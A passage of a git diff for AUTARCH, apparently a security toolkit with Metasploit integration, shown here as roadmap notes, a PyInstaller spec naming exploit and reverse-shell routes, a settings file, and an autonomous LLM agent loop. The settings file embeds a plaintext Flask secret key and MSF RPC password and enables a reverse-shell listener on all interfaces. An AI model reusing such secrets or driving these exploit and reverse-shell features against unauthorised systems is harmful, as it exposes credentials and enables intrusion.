- Updated `web/static/js/app.js` (1477→1952 lines):
|
||||||
|
- All hw*() functions are now mode-aware (check hwConnectionMode)
|
||||||
|
- Server mode: existing Flask API calls preserved unchanged
|
||||||
|
- Direct mode: routes through HWDirect.* browser API
|
||||||
|
- Mode toggle with localStorage persistence
|
||||||
|
- Factory flash workflow: ZIP upload → flash plan → progress tracking
|
||||||
|
- Updated `web/static/css/style.css`: mode toggle bar, checkbox styles, warning banners
|
||||||
|
- Added `{% block extra_head %}` to `web/templates/base.html` for page-specific script includes
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## What's Left
|
||||||
|
|
||||||
|
### Phase 7: System Tray + Beta Release — TODO
|
||||||
|
|
||||||
|
#### System Tray (pystray + Pillow)
|
||||||
|
- `autarch.py` — add `--tray` flag to launch in system tray mode
|
||||||
|
- `core/tray.py` — `TrayManager` using `pystray` + `PIL.Image`
|
||||||
|
- **Tray icon menu:**
|
||||||
|
- Open Dashboard (opens browser to http://localhost:8080)
|
||||||
|
- Server Settings submenu:
|
||||||
|
- Server address/port
|
||||||
|
- Default model folder
|
||||||
|
- Default tools folder
|
||||||
|
- Auto-start on login toggle
|
||||||
|
- Metasploit Integration submenu:
|
||||||
|
- MSF RPC host + port + password
|
||||||
|
- Start msfrpcd (runs `find_tool('msfrpcd')` with auto SSL)
|
||||||
|
- Connect to existing msfrpcd
|
||||||
|
- RPC connection status indicator
|
||||||
|
- Separator
|
||||||
|
- Start/Stop Web Server
|
||||||
|
- View Logs
|
||||||
|
- Separator
|
||||||
|
- Quit
|
||||||
|
|
||||||
|
#### Beta Release
|
||||||
|
- `release/` — output folder for distribution artifacts
|
||||||
|
- `release/autarch.spec` — PyInstaller spec file:
|
||||||
|
- One-file EXE (--onefile) or one-dir (--onedir) bundle
|
||||||
|
- Include: `data/`, `web/`, `models/` (optional), `tools/`, `android/`, `autarch_settings.conf`
|
||||||
|
- Console window: optional (--noconsole for tray-only mode, --console for CLI mode)
|
||||||
|
- Icon: `web/static/img/autarch.ico`
|
||||||
|
- `release/build_exe.bat` / `release/build_exe.sh` — build scripts
|
||||||
|
- `release/autarch.wxs` or `release/installer.nsi` — MSI/NSIS installer:
|
||||||
|
- Install to `%PROGRAMFILES%\AUTARCH\`
|
||||||
|
- Create Start Menu shortcut
|
||||||
|
- Register Windows service option
|
||||||
|
- Include Metasploit installer link if not found
|
||||||
|
- Uninstaller
|
||||||
|
|
||||||
|
### Phase 4.5 Remaining: Browser Hardware Access Polish
|
||||||
|
- Test WebUSB ADB connection end-to-end with a physical device
|
||||||
|
- Test WebUSB Fastboot flashing end-to-end
|
||||||
|
- Test Web Serial ESP32 flashing end-to-end
|
||||||
|
- Test factory ZIP flash (PixelFlasher PoC) with a real factory image
|
||||||
|
- Add boot.img patching for Magisk/KernelSU (future enhancement)
|
||||||
|
- HTTPS required for WebUSB in production (reverse proxy or localhost only)
|
||||||
|
- Note: WebUSB/Web Serial only work in Chromium-based browsers (Chrome, Edge, Brave)
|
||||||
|
|
||||||
|
### Phase 5: Path Portability & Windows Support — MOSTLY DONE
|
||||||
|
|
||||||
|
Completed:
|
||||||
|
- `core/paths.py` with full path resolution and tool finding
|
||||||
|
- All hardcoded paths replaced
|
||||||
|
- Platform-specific tool bundling structure
|
||||||
|
- requirements.txt
|
||||||
|
|
||||||
|
Remaining:
|
||||||
|
- Windows-specific `sudo` handling (use `ctypes.windll.shell32.IsUserAnAdmin()` check)
|
||||||
|
- Bundle Windows tool binaries in `tools/windows-x86_64/` (nmap.exe, tshark.exe, etc.)
|
||||||
|
- Test on Windows and macOS
|
||||||
|
- Add `[hardware]` config section for customizable tool paths
|
||||||
|
|
||||||
|
### Phase 6: Docker Packaging
|
||||||
|
|
||||||
|
**Goal:** Portable deployment with all dependencies bundled.
|
||||||
|
|
||||||
|
**Tasks:**
|
||||||
|
1. Create `Dockerfile` (python:3.11-slim base)
|
||||||
|
2. Create `docker-compose.yml` (volume mounts for data/models/results)
|
||||||
|
3. Create `.dockerignore`
|
||||||
|
4. Create `scripts/entrypoint.sh` (start CLI, web, or both)
|
||||||
|
5. Create `scripts/install-tools.sh` (nmap, tshark, miniupnpc, wireguard-tools)
|
||||||
|
6. Expose ports: 8080 (web), 55553 (MSF RPC passthrough)
|
||||||
|
7. Test full build and deployment
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Known Issues / Gaps
|
||||||
|
|
||||||
|
1. ~~**Hardcoded paths**~~ - FIXED (all use core/paths.py now)
|
||||||
|
2. ~~**No requirements.txt**~~ - FIXED (created)
|
||||||
|
3. **No `[hardware]` config section** - hardware settings not in autarch_settings.conf
|
||||||
|
4. **No HTTPS** - web UI runs plain HTTP
|
||||||
|
5. **No test suite** - no automated tests
|
||||||
|
6. **Large backup file** - `claude.bk` (213MB) should be cleaned up
|
||||||
|
7. **tshark not installed** - Wireshark/packet capture limited to scapy
|
||||||
|
8. **msfrpcd not bundleable** - depends on full Metasploit ruby framework
|
||||||
|
9. **Windows/macOS untested** - tool bundling structure ready but no binaries yet
|
||||||
|
10. **Local model folder hardcoded to `models/`** - should use AppData in release build (TODO: change for Phase 7 release)
|
||||||
|
11. **No OpenAI LLM backend implementation** - config added; `core/llm.py` needs `OpenAILLM` class
|
||||||
126
autarch_public.spec
Normal file
126
autarch_public.spec
Normal file
@ -0,0 +1,126 @@
|
|||||||
|
# -*- mode: python ; coding: utf-8 -*-
|
||||||
|
# PyInstaller spec for AUTARCH Public Release
|
||||||
|
# Build: pyinstaller autarch_public.spec
|
||||||
|
# Output: dist/autarch_public.exe (single-file executable)
|
||||||
|
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
SRC = Path(SPECPATH)
|
||||||
|
|
||||||
|
block_cipher = None
|
||||||
|
|
||||||
|
# ── Data files (non-Python assets to bundle) ─────────────────────────────────
|
||||||
|
added_files = [
|
||||||
|
# Web assets
|
||||||
|
(str(SRC / 'web' / 'templates'), 'web/templates'),
|
||||||
|
(str(SRC / 'web' / 'static'), 'web/static'),
|
||||||
|
|
||||||
|
# Data (SQLite DBs, site lists, config defaults)
|
||||||
|
(str(SRC / 'data'), 'data'),
|
||||||
|
|
||||||
|
# Modules directory (dynamically loaded)
|
||||||
|
(str(SRC / 'modules'), 'modules'),
|
||||||
|
|
||||||
|
# Root-level config and docs
|
||||||
|
(str(SRC / 'autarch_settings.conf'), '.'),
|
||||||
|
(str(SRC / 'user_manual.md'), '.'),
|
||||||
|
(str(SRC / 'windows_manual.md'), '.'),
|
||||||
|
(str(SRC / 'custom_sites.inf'), '.'),
|
||||||
|
(str(SRC / 'custom_adultsites.json'), '.'),
|
||||||
|
]
|
||||||
|
|
||||||
|
# ── Hidden imports ────────────────────────────────────────────────────────────
|
||||||
|
hidden_imports = [
|
||||||
|
# Flask ecosystem
|
||||||
|
'flask', 'flask.templating', 'jinja2', 'jinja2.ext',
|
||||||
|
'werkzeug', 'werkzeug.serving', 'werkzeug.debug',
|
||||||
|
'markupsafe',
|
||||||
|
|
||||||
|
# Core libraries
|
||||||
|
'bcrypt', 'requests', 'msgpack', 'pyserial', 'qrcode', 'PIL',
|
||||||
|
'PIL.Image', 'PIL.ImageDraw', 'cryptography',
|
||||||
|
|
||||||
|
# AUTARCH core modules
|
||||||
|
'core.config', 'core.paths', 'core.banner', 'core.menu',
|
||||||
|
'core.llm', 'core.agent', 'core.tools',
|
||||||
|
'core.msf', 'core.msf_interface',
|
||||||
|
'core.hardware', 'core.android_protect',
|
||||||
|
'core.upnp', 'core.wireshark', 'core.wireguard',
|
||||||
|
'core.mcp_server', 'core.discovery',
|
||||||
|
'core.osint_db', 'core.nvd',
|
||||||
|
|
||||||
|
# Web routes (Flask blueprints)
|
||||||
|
'web.app', 'web.auth',
|
||||||
|
'web.routes.auth_routes',
|
||||||
|
'web.routes.dashboard',
|
||||||
|
'web.routes.defense',
|
||||||
|
'web.routes.offense',
|
||||||
|
'web.routes.counter',
|
||||||
|
'web.routes.analyze',
|
||||||
|
'web.routes.osint',
|
||||||
|
'web.routes.simulate',
|
||||||
|
'web.routes.settings',
|
||||||
|
'web.routes.upnp',
|
||||||
|
'web.routes.wireshark',
|
||||||
|
'web.routes.hardware',
|
||||||
|
'web.routes.android_exploit',
|
||||||
|
'web.routes.iphone_exploit',
|
||||||
|
'web.routes.android_protect',
|
||||||
|
'web.routes.wireguard',
|
||||||
|
'web.routes.revshell',
|
||||||
|
'web.routes.archon',
|
||||||
|
'web.routes.msf',
|
||||||
|
'web.routes.chat',
|
||||||
|
'web.routes.targets',
|
||||||
|
'web.routes.encmodules',
|
||||||
|
|
||||||
|
# Standard library (sometimes missed on Windows)
|
||||||
|
'email.mime.text', 'email.mime.multipart',
|
||||||
|
'xml.etree.ElementTree',
|
||||||
|
'sqlite3', 'json', 'logging', 'logging.handlers',
|
||||||
|
'threading', 'queue', 'uuid', 'hashlib', 'zlib',
|
||||||
|
'configparser', 'platform', 'socket', 'shutil',
|
||||||
|
'importlib', 'importlib.util', 'importlib.metadata',
|
||||||
|
]
|
||||||
|
|
||||||
|
a = Analysis(
|
||||||
|
['autarch.py'],
|
||||||
|
pathex=[str(SRC)],
|
||||||
|
binaries=[],
|
||||||
|
datas=added_files,
|
||||||
|
hiddenimports=hidden_imports,
|
||||||
|
hookspath=[],
|
||||||
|
hooksconfig={},
|
||||||
|
runtime_hooks=[],
|
||||||
|
excludes=[
|
||||||
|
# Exclude heavy optional deps not needed at runtime
|
||||||
|
'torch', 'transformers', 'llama_cpp', 'anthropic',
|
||||||
|
'tkinter', 'matplotlib', 'numpy',
|
||||||
|
],
|
||||||
|
noarchive=False,
|
||||||
|
optimize=0,
|
||||||
|
)
|
||||||
|
|
||||||
|
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
|
||||||
|
|
||||||
|
# ── Single-file executable ───────────────────────────────────────────────────
|
||||||
|
exe = EXE(
|
||||||
|
pyz,
|
||||||
|
a.scripts,
|
||||||
|
a.binaries,
|
||||||
|
a.datas,
|
||||||
|
[],
|
||||||
|
name='autarch_public',
|
||||||
|
debug=False,
|
||||||
|
bootloader_ignore_signals=False,
|
||||||
|
strip=False,
|
||||||
|
upx=True,
|
||||||
|
console=True,
|
||||||
|
disable_windowed_traceback=False,
|
||||||
|
argv_emulation=False,
|
||||||
|
target_arch=None,
|
||||||
|
codesign_identity=None,
|
||||||
|
entitlements_file=None,
|
||||||
|
icon=None,
|
||||||
|
)
|
||||||
119
autarch_settings.conf
Normal file
119
autarch_settings.conf
Normal file
@ -0,0 +1,119 @@
|
|||||||
|
[llama]
|
||||||
|
model_path = C:\she\autarch\models\Lily-7B-Instruct-v0.2.Q5_K_M.gguf
|
||||||
|
n_ctx = 2048
|
||||||
|
n_threads = 4
|
||||||
|
n_gpu_layers = 0
|
||||||
|
temperature = 0.7
|
||||||
|
top_p = 0.9
|
||||||
|
top_k = 40
|
||||||
|
repeat_penalty = 1.1
|
||||||
|
max_tokens = 1024
|
||||||
|
seed = -1
|
||||||
|
n_batch = 256
|
||||||
|
rope_scaling_type = 0
|
||||||
|
mirostat_mode = 0
|
||||||
|
mirostat_tau = 5.0
|
||||||
|
mirostat_eta = 0.1
|
||||||
|
flash_attn = false
|
||||||
|
gpu_backend = cpu
|
||||||
|
|
||||||
|
[autarch]
|
||||||
|
first_run = false
|
||||||
|
modules_path = modules
|
||||||
|
verbose = false
|
||||||
|
llm_backend = local
|
||||||
|
quiet = false
|
||||||
|
no_banner = false
|
||||||
|
|
||||||
|
[msf]
|
||||||
|
host = 127.0.0.1
|
||||||
|
port = 55553
|
||||||
|
username = msf
|
||||||
|
password = msdf
|
||||||
|
ssl = true
|
||||||
|
|
||||||
|
[osint]
|
||||||
|
max_threads = 8
|
||||||
|
timeout = 8
|
||||||
|
include_nsfw = true
|
||||||
|
|
||||||
|
[transformers]
|
||||||
|
model_path = C:\she\autarch\models\Lily-Cybersecurity-7B-v0.2
|
||||||
|
device = xpu
|
||||||
|
torch_dtype = auto
|
||||||
|
load_in_8bit = false
|
||||||
|
load_in_4bit = true
|
||||||
|
trust_remote_code = false
|
||||||
|
max_tokens = 1024
|
||||||
|
temperature = 0.7
|
||||||
|
top_p = 0.9
|
||||||
|
top_k = 40
|
||||||
|
repetition_penalty = 1.1
|
||||||
|
use_fast_tokenizer = true
|
||||||
|
padding_side = left
|
||||||
|
do_sample = true
|
||||||
|
num_beams = 1
|
||||||
|
llm_int8_enable_fp32_cpu_offload = false
|
||||||
|
device_map = auto
|
||||||
|
|
||||||
|
[claude]
|
||||||
|
api_key =
|
||||||
|
model = claude-sonnet-4-20250514
|
||||||
|
max_tokens = 4096
|
||||||
|
temperature = 0.7
|
||||||
|
|
||||||
|
[pentest]
|
||||||
|
max_pipeline_steps = 50
|
||||||
|
output_chunk_size = 2000
|
||||||
|
auto_execute = false
|
||||||
|
save_raw_output = true
|
||||||
|
|
||||||
|
[rsf]
|
||||||
|
install_path =
|
||||||
|
enabled = true
|
||||||
|
default_target =
|
||||||
|
default_port = 80
|
||||||
|
execution_timeout = 120
|
||||||
|
|
||||||
|
[upnp]
|
||||||
|
enabled = true
|
||||||
|
internal_ip = 10.0.0.26
|
||||||
|
refresh_hours = 12
|
||||||
|
mappings = 443:TCP,51820:UDP,8080:TCP
|
||||||
|
|
||||||
|
[wireguard]
|
||||||
|
enabled = true
|
||||||
|
config_path = /etc/wireguard/wg0.conf
|
||||||
|
interface = wg0
|
||||||
|
subnet = 10.1.0.0/24
|
||||||
|
server_address = 10.1.0.1
|
||||||
|
listen_port = 51820
|
||||||
|
default_dns = 1.1.1.1, 8.8.8.8
|
||||||
|
default_allowed_ips = 0.0.0.0/0, ::/0
|
||||||
|
|
||||||
|
[huggingface]
|
||||||
|
api_key =
|
||||||
|
model = mistralai/Mistral-7B-Instruct-v0.3
|
||||||
|
endpoint =
|
||||||
|
max_tokens = 1024
|
||||||
|
temperature = 0.7
|
||||||
|
top_p = 0.9
|
||||||
|
|
||||||
|
[discovery]
|
||||||
|
enabled = true
|
||||||
|
mdns_enabled = true
|
||||||
|
bluetooth_enabled = true
|
||||||
|
bt_require_security = true
|
||||||
|
|
||||||
|
[web]
|
||||||
|
host = 0.0.0.0
|
||||||
|
port = 8181
|
||||||
|
secret_key = 23088243f11ce0b135c64413073c8c9fc0ecf83711d5f892b68f95b348a54007
|
||||||
|
mcp_port = 8081
|
||||||
|
|
||||||
|
[revshell]
|
||||||
|
enabled = true
|
||||||
|
host = 0.0.0.0
|
||||||
|
port = 17322
|
||||||
|
auto_start = false
|
||||||
|
|
||||||
1
core/__init__.py
Normal file
1
core/__init__.py
Normal file
@ -0,0 +1 @@
|
|||||||
|
# AUTARCH Core Framework
|
||||||
413
core/agent.py
Normal file
413
core/agent.py
Normal file
@ -0,0 +1,413 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH Agent System
|
||||||
|
Autonomous agent that uses LLM to accomplish tasks with tools
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
import json
|
||||||
|
from typing import Optional, List, Dict, Any, Callable
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from enum import Enum
|
||||||
|
|
||||||
|
from .llm import get_llm, LLM, LLMError
|
||||||
|
from .tools import get_tool_registry, ToolRegistry
|
||||||
|
from .banner import Colors
|
||||||
|
|
||||||
|
|
||||||
|
class AgentState(Enum):
|
||||||
|
"""Agent execution states."""
|
||||||
|
IDLE = "idle"
|
||||||
|
THINKING = "thinking"
|
||||||
|
EXECUTING = "executing"
|
||||||
|
WAITING_USER = "waiting_user"
|
||||||
|
COMPLETE = "complete"
|
||||||
|
ERROR = "error"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class AgentStep:
|
||||||
|
"""Record of a single agent step."""
|
||||||
|
thought: str
|
||||||
|
tool_name: Optional[str] = None
|
||||||
|
tool_args: Optional[Dict[str, Any]] = None
|
||||||
|
tool_result: Optional[str] = None
|
||||||
|
error: Optional[str] = None
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class AgentResult:
|
||||||
|
"""Result of an agent task execution."""
|
||||||
|
success: bool
|
||||||
|
summary: str
|
||||||
|
steps: List[AgentStep] = field(default_factory=list)
|
||||||
|
error: Optional[str] = None
|
||||||
|
|
||||||
|
|
||||||
|
class Agent:
|
||||||
|
"""Autonomous agent that uses LLM and tools to accomplish tasks."""
|
||||||
|
|
||||||
|
SYSTEM_PROMPT = """You are AUTARCH, an autonomous AI agent created by darkHal and Setec Security Labs.
|
||||||
|
|
||||||
|
Your purpose is to accomplish tasks using the tools available to you. You think step by step, use tools to gather information and take actions, then continue until the task is complete.
|
||||||
|
|
||||||
|
## How to respond
|
||||||
|
|
||||||
|
You MUST respond in the following format for EVERY response:
|
||||||
|
|
||||||
|
THOUGHT: [Your reasoning about what to do next]
|
||||||
|
ACTION: [tool_name]
|
||||||
|
PARAMS: {"param1": "value1", "param2": "value2"}
|
||||||
|
|
||||||
|
OR when the task is complete:
|
||||||
|
|
||||||
|
THOUGHT: [Summary of what was accomplished]
|
||||||
|
ACTION: task_complete
|
||||||
|
PARAMS: {"summary": "Description of completed work"}
|
||||||
|
|
||||||
|
OR when you need user input:
|
||||||
|
|
||||||
|
THOUGHT: [Why you need to ask the user]
|
||||||
|
ACTION: ask_user
|
||||||
|
PARAMS: {"question": "Your question"}
|
||||||
|
|
||||||
|
## Rules
|
||||||
|
1. Always start with THOUGHT to explain your reasoning
|
||||||
|
2. Always specify exactly one ACTION
|
||||||
|
3. Always provide PARAMS as valid JSON (even if empty: {})
|
||||||
|
4. Use tools to verify your work - don't assume success
|
||||||
|
5. If a tool fails, analyze the error and try a different approach
|
||||||
|
6. Only use task_complete when the task is fully done
|
||||||
|
|
||||||
|
{tools_description}
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
llm: LLM = None,
|
||||||
|
tools: ToolRegistry = None,
|
||||||
|
max_steps: int = 20,
|
||||||
|
verbose: bool = True
|
||||||
|
):
|
||||||
|
"""Initialize the agent.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
llm: LLM instance to use. Uses global if not provided.
|
||||||
|
tools: Tool registry to use. Uses global if not provided.
|
||||||
|
max_steps: Maximum steps before stopping.
|
||||||
|
verbose: Whether to print progress.
|
||||||
|
"""
|
||||||
|
self.llm = llm or get_llm()
|
||||||
|
self.tools = tools or get_tool_registry()
|
||||||
|
self.max_steps = max_steps
|
||||||
|
self.verbose = verbose
|
||||||
|
|
||||||
|
self.state = AgentState.IDLE
|
||||||
|
self.current_task: Optional[str] = None
|
||||||
|
self.steps: List[AgentStep] = []
|
||||||
|
self.conversation: List[Dict[str, str]] = []
|
||||||
|
|
||||||
|
# Callbacks
|
||||||
|
self.on_step: Optional[Callable[[AgentStep], None]] = None
|
||||||
|
self.on_state_change: Optional[Callable[[AgentState], None]] = None
|
||||||
|
|
||||||
|
def _set_state(self, state: AgentState):
|
||||||
|
"""Update agent state and notify callback."""
|
||||||
|
self.state = state
|
||||||
|
if self.on_state_change:
|
||||||
|
self.on_state_change(state)
|
||||||
|
|
||||||
|
def _log(self, message: str, level: str = "info"):
|
||||||
|
"""Log a message if verbose mode is on."""
|
||||||
|
if not self.verbose:
|
||||||
|
return
|
||||||
|
|
||||||
|
colors = {
|
||||||
|
"info": Colors.CYAN,
|
||||||
|
"success": Colors.GREEN,
|
||||||
|
"warning": Colors.YELLOW,
|
||||||
|
"error": Colors.RED,
|
||||||
|
"thought": Colors.MAGENTA,
|
||||||
|
"action": Colors.BLUE,
|
||||||
|
"result": Colors.WHITE,
|
||||||
|
}
|
||||||
|
symbols = {
|
||||||
|
"info": "*",
|
||||||
|
"success": "+",
|
||||||
|
"warning": "!",
|
||||||
|
"error": "X",
|
||||||
|
"thought": "?",
|
||||||
|
"action": ">",
|
||||||
|
"result": "<",
|
||||||
|
}
|
||||||
|
|
||||||
|
color = colors.get(level, Colors.WHITE)
|
||||||
|
symbol = symbols.get(level, "*")
|
||||||
|
print(f"{color}[{symbol}] {message}{Colors.RESET}")
|
||||||
|
|
||||||
|
def _build_system_prompt(self) -> str:
|
||||||
|
"""Build the system prompt with tools description."""
|
||||||
|
tools_desc = self.tools.get_tools_prompt()
|
||||||
|
return self.SYSTEM_PROMPT.format(tools_description=tools_desc)
|
||||||
|
|
||||||
|
def _parse_response(self, response: str) -> tuple[str, str, Dict[str, Any]]:
|
||||||
|
"""Parse LLM response into thought, action, and params.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
response: The raw LLM response.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (thought, action_name, params_dict)
|
||||||
|
|
||||||
|
Raises:
|
||||||
|
ValueError: If response cannot be parsed.
|
||||||
|
"""
|
||||||
|
# Extract THOUGHT
|
||||||
|
thought_match = re.search(r'THOUGHT:\s*(.+?)(?=ACTION:|$)', response, re.DOTALL)
|
||||||
|
thought = thought_match.group(1).strip() if thought_match else ""
|
||||||
|
|
||||||
|
# Extract ACTION
|
||||||
|
action_match = re.search(r'ACTION:\s*(\w+)', response)
|
||||||
|
if not action_match:
|
||||||
|
raise ValueError("No ACTION found in response")
|
||||||
|
action = action_match.group(1).strip()
|
||||||
|
|
||||||
|
# Extract PARAMS
|
||||||
|
params_match = re.search(r'PARAMS:\s*(\{.*?\})', response, re.DOTALL)
|
||||||
|
if params_match:
|
||||||
|
try:
|
||||||
|
params = json.loads(params_match.group(1))
|
||||||
|
except json.JSONDecodeError:
|
||||||
|
# Try to fix common JSON issues
|
||||||
|
params_str = params_match.group(1)
|
||||||
|
# Replace single quotes with double quotes
|
||||||
|
params_str = params_str.replace("'", '"')
|
||||||
|
try:
|
||||||
|
params = json.loads(params_str)
|
||||||
|
except json.JSONDecodeError:
|
||||||
|
params = {}
|
||||||
|
else:
|
||||||
|
params = {}
|
||||||
|
|
||||||
|
return thought, action, params
|
||||||
|
|
||||||
|
def _execute_tool(self, tool_name: str, params: Dict[str, Any]) -> str:
|
||||||
|
"""Execute a tool and return the result.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
tool_name: Name of the tool to execute.
|
||||||
|
params: Parameters for the tool.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tool result string.
|
||||||
|
"""
|
||||||
|
result = self.tools.execute(tool_name, **params)
|
||||||
|
|
||||||
|
if result["success"]:
|
||||||
|
return str(result["result"])
|
||||||
|
else:
|
||||||
|
return f"[Error]: {result['error']}"
|
||||||
|
|
||||||
|
def run(self, task: str, user_input_handler: Callable[[str], str] = None,
|
||||||
|
step_callback: Optional[Callable[['AgentStep'], None]] = None) -> AgentResult:
|
||||||
|
"""Run the agent on a task.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
task: The task description.
|
||||||
|
user_input_handler: Callback for handling ask_user actions.
|
||||||
|
If None, uses default input().
|
||||||
|
step_callback: Optional per-step callback invoked after each step completes.
|
||||||
|
Overrides self.on_step for this run if provided.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
AgentResult with execution details.
|
||||||
|
"""
|
||||||
|
if step_callback is not None:
|
||||||
|
self.on_step = step_callback
|
||||||
|
self.current_task = task
|
||||||
|
self.steps = []
|
||||||
|
self.conversation = []
|
||||||
|
|
||||||
|
# Ensure model is loaded
|
||||||
|
if not self.llm.is_loaded:
|
||||||
|
self._log("Loading model...", "info")
|
||||||
|
try:
|
||||||
|
self.llm.load_model(verbose=self.verbose)
|
||||||
|
except LLMError as e:
|
||||||
|
self._set_state(AgentState.ERROR)
|
||||||
|
return AgentResult(
|
||||||
|
success=False,
|
||||||
|
summary="Failed to load model",
|
||||||
|
error=str(e)
|
||||||
|
)
|
||||||
|
|
||||||
|
self._set_state(AgentState.THINKING)
|
||||||
|
self._log(f"Starting task: {task}", "info")
|
||||||
|
|
||||||
|
# Build initial prompt
|
||||||
|
system_prompt = self._build_system_prompt()
|
||||||
|
self.conversation.append({"role": "system", "content": system_prompt})
|
||||||
|
self.conversation.append({"role": "user", "content": f"Task: {task}"})
|
||||||
|
|
||||||
|
step_count = 0
|
||||||
|
|
||||||
|
while step_count < self.max_steps:
|
||||||
|
step_count += 1
|
||||||
|
self._log(f"Step {step_count}/{self.max_steps}", "info")
|
||||||
|
|
||||||
|
# Generate response
|
||||||
|
self._set_state(AgentState.THINKING)
|
||||||
|
try:
|
||||||
|
prompt = self._build_prompt()
|
||||||
|
response = self.llm.generate(
|
||||||
|
prompt,
|
||||||
|
stop=["OBSERVATION:", "\nUser:", "\nTask:"],
|
||||||
|
temperature=0.3, # Lower temperature for more focused responses
|
||||||
|
)
|
||||||
|
except LLMError as e:
|
||||||
|
self._set_state(AgentState.ERROR)
|
||||||
|
return AgentResult(
|
||||||
|
success=False,
|
||||||
|
summary="LLM generation failed",
|
||||||
|
steps=self.steps,
|
||||||
|
error=str(e)
|
||||||
|
)
|
||||||
|
|
||||||
|
# Parse response
|
||||||
|
try:
|
||||||
|
thought, action, params = self._parse_response(response)
|
||||||
|
except ValueError as e:
|
||||||
|
self._log(f"Failed to parse response: {e}", "error")
|
||||||
|
self._log(f"Raw response: {response[:200]}...", "warning")
|
||||||
|
# Add error feedback and continue
|
||||||
|
self.conversation.append({
|
||||||
|
"role": "assistant",
|
||||||
|
"content": response
|
||||||
|
})
|
||||||
|
self.conversation.append({
|
||||||
|
"role": "user",
|
||||||
|
"content": "Error: Could not parse your response. Please use the exact format:\nTHOUGHT: [reasoning]\nACTION: [tool_name]\nPARAMS: {\"param\": \"value\"}"
|
||||||
|
})
|
||||||
|
continue
|
||||||
|
|
||||||
|
self._log(f"Thought: {thought[:100]}..." if len(thought) > 100 else f"Thought: {thought}", "thought")
|
||||||
|
self._log(f"Action: {action}", "action")
|
||||||
|
|
||||||
|
step = AgentStep(thought=thought, tool_name=action, tool_args=params)
|
||||||
|
|
||||||
|
# Handle task_complete
|
||||||
|
if action == "task_complete":
|
||||||
|
summary = params.get("summary", thought)
|
||||||
|
step.tool_result = summary
|
||||||
|
self.steps.append(step)
|
||||||
|
|
||||||
|
if self.on_step:
|
||||||
|
self.on_step(step)
|
||||||
|
|
||||||
|
self._set_state(AgentState.COMPLETE)
|
||||||
|
self._log(f"Task complete: {summary}", "success")
|
||||||
|
|
||||||
|
return AgentResult(
|
||||||
|
success=True,
|
||||||
|
summary=summary,
|
||||||
|
steps=self.steps
|
||||||
|
)
|
||||||
|
|
||||||
|
# Handle ask_user
|
||||||
|
if action == "ask_user":
|
||||||
|
question = params.get("question", "What should I do?")
|
||||||
|
self._set_state(AgentState.WAITING_USER)
|
||||||
|
self._log(f"Agent asks: {question}", "info")
|
||||||
|
|
||||||
|
if user_input_handler:
|
||||||
|
user_response = user_input_handler(question)
|
||||||
|
else:
|
||||||
|
print(f"\n{Colors.YELLOW}Agent question: {question}{Colors.RESET}")
|
||||||
|
user_response = input(f"{Colors.GREEN}Your answer: {Colors.RESET}").strip()
|
||||||
|
|
||||||
|
step.tool_result = f"User response: {user_response}"
|
||||||
|
self.steps.append(step)
|
||||||
|
|
||||||
|
if self.on_step:
|
||||||
|
self.on_step(step)
|
||||||
|
|
||||||
|
# Add to conversation
|
||||||
|
self.conversation.append({
|
||||||
|
"role": "assistant",
|
||||||
|
"content": f"THOUGHT: {thought}\nACTION: {action}\nPARAMS: {json.dumps(params)}"
|
||||||
|
})
|
||||||
|
self.conversation.append({
|
||||||
|
"role": "user",
|
||||||
|
"content": f"OBSERVATION: User responded: {user_response}"
|
||||||
|
})
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Execute tool
|
||||||
|
self._set_state(AgentState.EXECUTING)
|
||||||
|
self._log(f"Executing: {action}({params})", "action")
|
||||||
|
|
||||||
|
result = self._execute_tool(action, params)
|
||||||
|
step.tool_result = result
|
||||||
|
self.steps.append(step)
|
||||||
|
|
||||||
|
if self.on_step:
|
||||||
|
self.on_step(step)
|
||||||
|
|
||||||
|
# Truncate long results for display
|
||||||
|
display_result = result[:200] + "..." if len(result) > 200 else result
|
||||||
|
self._log(f"Result: {display_result}", "result")
|
||||||
|
|
||||||
|
# Add to conversation
|
||||||
|
self.conversation.append({
|
||||||
|
"role": "assistant",
|
||||||
|
"content": f"THOUGHT: {thought}\nACTION: {action}\nPARAMS: {json.dumps(params)}"
|
||||||
|
})
|
||||||
|
self.conversation.append({
|
||||||
|
"role": "user",
|
||||||
|
"content": f"OBSERVATION: {result}"
|
||||||
|
})
|
||||||
|
|
||||||
|
# Max steps reached
|
||||||
|
self._set_state(AgentState.ERROR)
|
||||||
|
self._log(f"Max steps ({self.max_steps}) reached", "warning")
|
||||||
|
|
||||||
|
return AgentResult(
|
||||||
|
success=False,
|
||||||
|
summary="Max steps reached without completing task",
|
||||||
|
steps=self.steps,
|
||||||
|
error=f"Exceeded maximum of {self.max_steps} steps"
|
||||||
|
)
|
||||||
|
|
||||||
|
def _build_prompt(self) -> str:
|
||||||
|
"""Build the full prompt from conversation history."""
|
||||||
|
parts = []
|
||||||
|
for msg in self.conversation:
|
||||||
|
role = msg["role"]
|
||||||
|
content = msg["content"]
|
||||||
|
|
||||||
|
if role == "system":
|
||||||
|
parts.append(f"<|im_start|>system\n{content}<|im_end|>")
|
||||||
|
elif role == "user":
|
||||||
|
parts.append(f"<|im_start|>user\n{content}<|im_end|>")
|
||||||
|
elif role == "assistant":
|
||||||
|
parts.append(f"<|im_start|>assistant\n{content}<|im_end|>")
|
||||||
|
|
||||||
|
parts.append("<|im_start|>assistant\n")
|
||||||
|
return "\n".join(parts)
|
||||||
|
|
||||||
|
def get_steps_summary(self) -> str:
|
||||||
|
"""Get a formatted summary of all steps taken."""
|
||||||
|
